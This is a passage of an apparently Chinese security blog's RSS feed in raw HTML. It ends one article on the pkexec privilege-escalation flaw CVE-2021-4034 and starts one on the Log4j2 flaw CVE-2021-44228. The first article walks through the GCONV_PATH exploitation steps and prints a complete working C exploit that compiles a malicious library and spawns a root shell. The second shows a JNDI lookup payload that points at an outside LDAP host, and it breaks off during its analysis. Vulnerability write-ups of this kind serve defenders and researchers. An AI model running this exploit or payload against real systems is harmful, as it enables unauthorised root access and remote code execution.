25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">534行，执行execve(&#34;/usr/bin/pkexec&#34;, argv, envp)时，当argv = {NULL}时，argc=0，不会进入if判断，但是n被设置为1；</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">610行，argv[1]越界访问的是envp[0]，获取到value值；</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">632行，执行g_find_program_in_path(path)获取value值的绝对路径；</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">639行，将value的绝对路径越界写回envp[0]。</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这时，可以引入危险的环境变量到pkexec执行环境变量当中，加载恶意的so文件执行任意行为，但是在702行，环境变量会被清除。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.20856201975850713" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="911" src="https://wechat2rss.xlab.app/img-proxy/?k=9f7e66bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUP7h0XPMwfmk9Dc1LM6S1OcAdDb7O0vf5KUANAflGGiaXjic5icHQpTwYA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞利用</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>利用分析<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">是否记得GCONV_PATH利用？利用glibc中的iconv_open()函数，加载恶意so库执行任意代码，在pkexec的源码里有大量的glib的g_printerr()函数，用来输出错误信息，默认是UTF-8的格式，如果当前的CHARSET环境变量不是UTF-8，是UTF-16的话，就需要对输出信息进行转码，就会调用glibc的iconv()函数，在调用iconv()函数前必须调用iconv_open()函数初始化编码，具体如下。</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">iconv_open()函数依照GCONV_PATH找到gconv-modules文件。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">根据gconv-modules文件的指示找到参数对应字符集的so库。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">调用so库中的gconv()和gonv_init()函数，这里so库是恶意so库，gonv_init()函数可以自由实现，从而执行任意代码。</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">既然可以通过引入危险环境变量到pkexec执行环境变量当中，那是否可以直接通过 execve(&#34;/usr/bin/pkexec&#34;, argv, envp)这种方式直接在envp里引入GCONV_PATH环境变量加载恶意so库，答案是不行。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">原因是ld.so加载器会在特权程序执行的时候清除敏感环境变量，UNSECURE_ENVVARS宏里清除了GCONV_PATH环境变量。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0637119113573408" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="722" src="https://wechat2rss.xlab.app/img-proxy/?k=b9397676&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUp0QsEOC4q0hYDnPpmUTpafTSNLyic7rv570TO4TjpMV9h37FyibvBb6A%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8857589984350548" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="639" src="https://wechat2rss.xlab.app/img-proxy/?k=ee97abdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUx7lictQW5n1JvuwmsHW4bjXY3jf8SHetZ3AgIcFgkHV8h49RSRDtjOQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以还是得依赖g_printerr()函数来劫持执行流，通过构造错误的XAUTHORITY环境变量，在pkexec.c的main函数里会调用validate_environment_variable()函数检查所有环境变量。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6519721577726219" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="862" src="https://wechat2rss.xlab.app/img-proxy/?k=31aa302f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUXhRaoxDN0HTguL80tpc5XbPNNSkpIaFuKkEaJkEctbKG0icl33LbUhQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当检查到key=XAUTHORITY时的value里含有“..”的话，会进入判断执行g_printerr()函数，又因为字符集需要转码，所以会执行icov_open()函数来加载恶意so库，从而实现任意代码。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.9121844127332601" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="911" src="https://wechat2rss.xlab.app/img-proxy/?k=3d96332d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUJaoDv5ibyicqfibpVQGx9SPNT7oiazW3gYM5Q5nHiaWdu4T0aEiafntg24Gg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>利用过程</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">经过上述利用分析，这里对利用做个总结：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">创建&#34;GCONV_PATH=.&#34;目录，并且在该目录下生成空的可执行文件xxx，此时xxx的路径是GCONV_PATH=./xxx。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">在当前目录生成恶意的so库文件。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">在当前目录创建xxx目录，并且在xxx目录下创建gconv-modules文件，xxx/gconv-modules文件里so指向当前目录的恶意so库。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">执行execve(&#34;/usr/bin/pkexec&#34;, argv, envp)，argv = {NULL}，envp = {&#34;xxx&#34;, &#34;PATH=GCONV_PATH=.&#34;, &#34;LC_MESSAGES=en_US.UTF-8&#34;, &#34;XAUTHORITY=../LOL&#34;,  &#34;GIO_USE_VFS=&#34;, NULL}。</section></li></ol><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7937956204379562" style="display: block;margin-right: auto;margin-left: auto;" data-type="gif" data-w="1096" src="https://wechat2rss.xlab.app/img-proxy/?k=6c813b4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3pMKYkVJQD4S1lCDDIfd4EUcic5UIteaUpNkfOXu28jpHMsSPiaoW8ia1ibh3oxib6aia36awibX8JM1JcjEtUGSNvdSg%2F640%3Fwx_fmt%3Dgif"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>完整EXP<span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0RtDfuKUUQGTzDjbrdxVv4EqCjstT7l2Jr3ib6alxB6KA5ovZNcKt5wj4Rrp1ce0GORicylOibOFrw/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">/*<br/> * blasty-vs-pkexec.c -- by blasty &lt;peter@haxx.in&gt; <br/> * ------------------------------------------------<br/> * PoC for CVE-2021-4034, shout out to Qualys<br/> *<br/> * ctf quality exploit<br/> *<br/> * bla bla irresponsible disclosure<br/> *<br/> * -- blasty // 2022-01-25<br/> */</span><br/><span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: #98c379;line-height: 26px;">&lt;stdio.h&gt;</span></span><br/><span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: #98c379;line-height: 26px;">&lt;stdlib.h&gt;</span></span><br/><span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: #98c379;line-height: 26px;">&lt;string.h&gt;</span></span><br/><span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: #98c379;line-height: 26px;">&lt;unistd.h&gt;</span></span><br/><span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: #98c379;line-height: 26px;">&lt;sys/stat.h&gt;</span></span><br/><span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: #98c379;line-height: 26px;">&lt;sys/types.h&gt;</span></span><br/><span style="color: #61aeee;line-height: 26px;">#<span style="line-height: 26px;">include</span> <span style="color: #98c379;line-height: 26px;">&lt;fcntl.h&gt;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">fatal</span><span style="line-height: 26px;">(<span style="color: #c678dd;line-height: 26px;">char</span> *f)</span> </span>{<br/>    perror(f);<br/>    <span style="color: #e6c07b;line-height: 26px;">exit</span>(<span style="color: #d19a66;line-height: 26px;">-1</span>);<br/>}<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">compile_so</span><span style="line-height: 26px;">()</span> </span>{<br/>    FILE *f = fopen(<span style="color: #98c379;line-height: 26px;">&#34;payload.c&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;wb&#34;</span>);<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (f == <span style="color: #56b6c2;line-height: 26px;">NULL</span>) {<br/>        fatal(<span style="color: #98c379;line-height: 26px;">&#34;fopen&#34;</span>);<br/>    }<br/>    <span style="color: #c678dd;line-height: 26px;">char</span> so_code[]=<br/>        <span style="color: #98c379;line-height: 26px;">&#34;#include &lt;stdio.h&gt;\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;#include &lt;stdlib.h&gt;\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;#include &lt;unistd.h&gt;\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;void gconv() {\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;  return;\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;}\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;void gconv_init() {\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;  setuid(0); seteuid(0); setgid(0); setegid(0);\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;  static char *a_argv[] = { \&#34;sh\&#34;, NULL };\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;  static char *a_envp[] = { \&#34;PATH=/bin:/usr/bin:/sbin\&#34;, NULL };\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;  execve(\&#34;/bin/sh\&#34;, a_argv, a_envp);\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;  exit(0);\n&#34;</span><br/>        <span style="color: #98c379;line-height: 26px;">&#34;}\n&#34;</span>;<br/>    fwrite(so_code, <span style="color: #e6c07b;line-height: 26px;">strlen</span>(so_code), <span style="color: #d19a66;line-height: 26px;">1</span>, f);<br/>    fclose(f);<br/>    system(<span style="color: #98c379;line-height: 26px;">&#34;gcc -o payload.so -shared -fPIC payload.c&#34;</span>);<br/>}<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">int</span> <span style="color: #61aeee;line-height: 26px;">main</span><span style="line-height: 26px;">(<span style="color: #c678dd;line-height: 26px;">int</span> argc, <span style="color: #c678dd;line-height: 26px;">char</span> *argv[])</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">struct</span> <span style="color: #e6c07b;line-height: 26px;">stat</span> <span style="color: #e6c07b;line-height: 26px;">st</span>;</span><br/>    <span style="color: #c678dd;line-height: 26px;">char</span> *a_argv[]={ <span style="color: #56b6c2;line-height: 26px;">NULL</span> };<br/>    <span style="color: #c678dd;line-height: 26px;">char</span> *a_envp[]={<br/>        <span style="color: #98c379;line-height: 26px;">&#34;lol&#34;</span>,<br/>        <span style="color: #98c379;line-height: 26px;">&#34;PATH=GCONV_PATH=.&#34;</span>,<br/>        <span style="color: #98c379;line-height: 26px;">&#34;LC_MESSAGES=en_US.UTF-8&#34;</span>,<br/>        <span style="color: #98c379;line-height: 26px;">&#34;XAUTHORITY=../LOL&#34;</span>,<br/>        <span style="color: #98c379;line-height: 26px;">&#34;GIO_USE_VFS=&#34;</span>,<br/>        <span style="color: #56b6c2;line-height: 26px;">NULL</span><br/>    };<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[~] compile helper..\n&#34;</span>);<br/>    compile_so();<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (stat(<span style="color: #98c379;line-height: 26px;">&#34;GCONV_PATH=.&#34;</span>, &amp;st) &lt; <span style="color: #d19a66;line-height: 26px;">0</span>) {<br/>        <span style="color: #c678dd;line-height: 26px;">if</span>(mkdir(<span style="color: #98c379;line-height: 26px;">&#34;GCONV_PATH=.&#34;</span>, <span style="color: #d19a66;line-height: 26px;">0777</span>) &lt; <span style="color: #d19a66;line-height: 26px;">0</span>) {<br/>            fatal(<span style="color: #98c379;line-height: 26px;">&#34;mkdir&#34;</span>);<br/>        }<br/>        <span style="color: #c678dd;line-height: 26px;">int</span> fd = open(<span style="color: #98c379;line-height: 26px;">&#34;GCONV_PATH=./lol&#34;</span>, O_CREAT|O_RDWR, <span style="color: #d19a66;line-height: 26px;">0777</span>); <br/>        <span style="color: #c678dd;line-height: 26px;">if</span> (fd &lt; <span style="color: #d19a66;line-height: 26px;">0</span>) {<br/>            fatal(<span style="color: #98c379;line-height: 26px;">&#34;open&#34;</span>);<br/>        }<br/>        close(fd);<br/>    }<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (stat(<span style="color: #98c379;line-height: 26px;">&#34;lol&#34;</span>, &amp;st) &lt; <span style="color: #d19a66;line-height: 26px;">0</span>) {<br/>        <span style="color: #c678dd;line-height: 26px;">if</span>(mkdir(<span style="color: #98c379;line-height: 26px;">&#34;lol&#34;</span>, <span style="color: #d19a66;line-height: 26px;">0777</span>) &lt; <span style="color: #d19a66;line-height: 26px;">0</span>) {<br/>            fatal(<span style="color: #98c379;line-height: 26px;">&#34;mkdir&#34;</span>);<br/>        }<br/>        FILE *fp = fopen(<span style="color: #98c379;line-height: 26px;">&#34;lol/gconv-modules&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;wb&#34;</span>);<br/>        <span style="color: #c678dd;line-height: 26px;">if</span>(fp == <span style="color: #56b6c2;line-height: 26px;">NULL</span>) {<br/>            fatal(<span style="color: #98c379;line-height: 26px;">&#34;fopen&#34;</span>);<br/>        }<br/>        <span style="color: #e6c07b;line-height: 26px;">fprintf</span>(fp, <span style="color: #98c379;line-height: 26px;">&#34;module  UTF-8//    INTERNAL    ../payload    2\n&#34;</span>);<br/>        fclose(fp);<br/>    }<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[~] maybe get shell now?\n&#34;</span>);<br/>    execve(<span style="color: #98c379;line-height: 26px;">&#34;/usr/bin/pkexec&#34;</span>, a_argv, a_envp);<br/>}<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>参考</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[1]<a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034" target="_blank">https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[2]<a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt" target="_blank">https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[3]<a href="https://saucer-man.com/information_security/876.html" target="_blank">https://saucer-man.com/information_security/876.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[4]<a href="https://haxx.in/files/blasty-vs-pkexec.c" target="_blank">https://haxx.in/files/blasty-vs-pkexec.c</a></p></section><p><br/></p>



<p><a href="2247484520">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0def50d4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484520%26idx%3D1%26sn%3Db9fdfa0c5cc802478a541964a0d5b2c2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 10 Feb 2022 17:15:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache Log4j2漏洞分析与利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484501&amp;idx=1&amp;sn=05a2d3b88ddfdf553a69f3f8b2ed38a6</link>
      <description>这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞</description>
      <content:encoded><![CDATA[<p>
原创 <span>p1ay2win</span> <span>2021-12-21 00:08</span> <span style="display: inline-block;"></span>
</p>

<p>这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b55681bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSqUf3Oz3k7EicB6W9OekXIIdxXoFgtgVhXtIDT4qlYUju2YpUIBXWmQQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>前言</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">2021 年 12 月 10 日，Apache发布了其 Log4j 框架的 2.15.0 版，其中包括对 CVE-2021-44228 的修复，这是一个影响 Apache Log4j 2.14.1 及更早版本的关键 (CVSSv3 10) 远程代码执行 (RCE) 漏洞。该漏洞存在于 Log4j 处理器处理特制日志消息的方式中。不可信的字符串（例如，来自输入文本字段的字符串，例如 Web 应用程序搜索框）包含的内容<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">${jndi:ldap://example.com/a}</code>，如果启用了消息查找替换，将触发远程类加载、消息查找和相关内容的执行。成功利用 CVE-2021-44228 可以让未经身份验证的远程攻击者完全控制易受攻击的目标系统。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>简介</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Log4j是Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Lookup提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">StrLookup</code>接口的特定类型的插件。Lookup语法为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">${prefix:name}</code>，其中前缀标识告诉Log4j应在特定上下文中使用的变量名称。</p><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">前缀</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">上下文</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">bundle</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">资源束。格式为bundle:BundleName:BundleKey。捆绑包名称遵循包命名约定，如：{bundle:com.domain.Messages:MyKey}。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">ctx</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">线程上下文映射（MDC）。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">date</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">使用指定的格式插入当前日期和/或时间。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">env</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">系统环境变量。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">jndi</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">在默认的JNDI上下文中设置的值。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">jvmrunargs</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">通过JMX访问的JVM输入参数，但不是主要参数; 请参阅RuntimeMXBean.getInputArguments在Android上不可用</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">log4j</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">Log4j配置属性。表达式<code>log4j:configLocation</code>和<code>log4j:configLocation</code>和<code>{log4j:configParentLocation}</code>分别提供给log4j的配置文件和它的父文件夹的绝对路径。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">main</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">使用 MapLookup.setMainArguments(String[])设置的值。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">map</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">来自MapMessage的值。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">sd</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">来自StructuredDataMessage的值。“id”将返回没有企业号的StructuredDataId的名称。“type”将返回消息类型。其他键将从Map中取回单个元素。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">sys</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">系统属性。</td></tr></tbody></table></section><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞分析</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>漏洞触发<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 